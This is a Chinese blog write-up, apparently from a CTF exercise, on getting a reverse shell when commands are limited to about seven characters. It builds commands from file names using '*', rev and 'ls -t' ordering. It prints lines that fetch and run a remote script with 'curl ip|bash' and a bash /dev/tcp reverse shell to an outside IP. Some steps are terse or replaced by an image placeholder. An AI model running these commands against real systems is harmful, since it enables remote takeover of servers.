限制命令长度如何反弹shell

问题:限制命令在7句以内如何反弹shell

先来看一个命令

直接输入一个*,发现输出了hello_qf.来看一下如何实现

在一个新的目录中,我们输入这样的命令就可以输出hello_qf了。因为输入*就是echo hello_qf

于是输出了hello_qf.

那我们再来看一下使用命令ls -l

有两个方法:

方法一:

利用rev把字符串反过来。

rev作用:把字符串头变成尾,尾变成头翻转

test的内容

this is test

开始操作:

>dir原因

把 a 和 b 写到 c 里面

dir a b>c

执行了*>v,就是

dir l- sl > v

>v使用字母v的原因

*v>x就是

rev v

方法二:

待会使用反弹shell就是用这个方法,利用ls -t 的时间顺序来实现执行命令

abde994abc1391e112c0a65c808d2eae.png

反弹shell:

首先要确立一个反弹shell的语句,因为我们要设置为这个文件名,所以要尽量简单,而且尽量少有那种奇怪的符号。于是确立这个语句:

curl ip/shell.txt|bash

shell.txt的内容就是反弹shell

bash -i >& /dev/tcp/47.xxx.xxx.51/2333 0>&1

但是这里面有一个'/'要避免,那我们就把这个shell.txt设置成默认页面,然后命令变成:

curl ip|bash

 

以上是命令

到服务器看一眼:

成功反弹shell

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值